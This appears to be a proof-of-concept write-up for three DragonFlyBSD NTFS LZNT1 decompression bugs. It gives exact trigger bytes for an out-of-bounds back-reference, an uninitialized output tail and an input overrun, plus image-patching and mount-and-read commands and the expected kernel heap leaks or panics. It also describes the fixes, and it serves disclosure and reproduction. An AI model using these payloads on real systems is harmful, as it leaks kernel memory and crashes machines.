# DF-0932 / DF-0933 / DF-0934 — shared PoC scaffolding

## Goal

Reproduce three distinct NTFS LZNT1 decompression bugs reachable by any
local user reading a crafted compressed file:

- **DF-0932** (High): LZ77 back-reference offset not bounded to current
  output position → `buf[pos+boff]` underflows `buf` and reads up to
  ~2 KB of preceding kernel heap (`ntfs_compr.c:79,82`).
- **DF-0933** (Medium): Compressed branch leaves output tail
  uninitialized; `uup` allocated with `M_WAITOK` (no `M_ZERO`) and
  reused across compression units, so stale slab content is shipped to
  the reader (`ntfs_compr.c:70-92`).
- **DF-0934** (Medium): `ntfs_uncompunit` accumulates `off += new`
  (`new = len+3`, attacker-controlled `3..4098`) with no bound against
  `cup` size; on the last block of a unit the `GET_UINT16`/`cbuf[]`
  reads overshoot `cup` (`ntfs_compr.c:55,71,79-80,109`).

## Files (shared)

- `patch_img.py` — locates the first non-resident compressed `$DATA`
  attribute of a file in the MFT of `base.ntfs` and overwrites the
  first bytes of its on-disk compression unit with one of the three
  trigger payloads below. Run with `--variant oob|tail|input`.

## Trigger payloads

```
DF-0932 (oob)     0x02 0x80 0x01 0x00 0xF0
                   block header 0x8002 (compressed, len=2), ctag=0x01
                   (token is back-ref), GET_UINT16=0xF000 at pos=0 ->
                   boff=-1-(0xF000>>12)=-1-15=-16, blen=3 -> reads
                   buf[-16..-14] into buf[0..2].

DF-0933 (tail)    0x01 0x80 0x00
                   block header 0x8001 (compressed, len=1), ctag=0x00
                   (one literal). Payload 2 bytes, pos ends at 1,
                   buf[1..4095] left uninitialized.

DF-0934 (input)   set every 4096-byte block header in the compression
                   unit to 0xFF 0x8F (GET_UINT16=0x8FFF: compressed,
                   len=0xFFF=4095, new=4098). After 16 blocks off
                   reaches 16*4098=65568 > 65536; the last block's
                   GET_UINT16/cbuf[] reads overrun cup.
```

## Build & run (DragonFlyBSD guest)

```
# 1. Build a base NTFS image (mkntfs from ntfs-3g), large enough to
#    hold a 16-cluster (64 KB) compressed file. Create the file, mark
#    it compressed, populate with a known pattern, and let ntfs-3g
#    write the compressed representation to disk.

# 2. Patch:
python3 patch_img.py --variant oob   base.ntfs evil.ntfs   # DF-0932
python3 patch_img.py --variant tail  base.ntfs evil.ntfs   # DF-0933
python3 patch_img.py --variant input base.ntfs evil.ntfs   # DF-0934

# 3. Mount and read (root mounts; any reader triggers):
mount -t ntfs -o ro evil.ntfs /mnt
dd if=/mnt/secret.bin bs=4096 count=1 | hexdump -C | head
```

## Expected output

### DF-0932 (oob)

Either a kernel panic on the underread page boundary, OR a read buffer
whose first 16 bytes are kernel heap pointers/data not present anywhere
in the mounted image (info leak). On INVARIANTS kernels the panic is
near-immediate; on production kernels the leak is silent.

### DF-0933 (tail)

No panic; `leak.bin` bytes `[1..4095]` are stale `uup` slab content
(recognizable kernel pointers / data not present in the file). Repeat
reads across compression units shows cross-file content correlation.

### DF-0934 (input)

Either a kernel panic in `ntfs_uncompblock` (page-fault-on-read at
`cup_size + small delta`), or — if the adjacent slab is mapped —
subtly wrong decompression output whose tail bytes are heap content
from the slab neighbor of `cup`.

## Notes

- DragonFly NTFS is read-only; the malicious bytes must be written into
  the image offline (Python/script), not via the kernel.
- The three findings share the same mount-and-read trigger; they
  differ only in the patched bytes.
- All three are fixed by validating the LZ77 displacement
  (`pos + boff >= 0`), zeroing the output tail, and bounding the input
  offset against the compression-unit size.
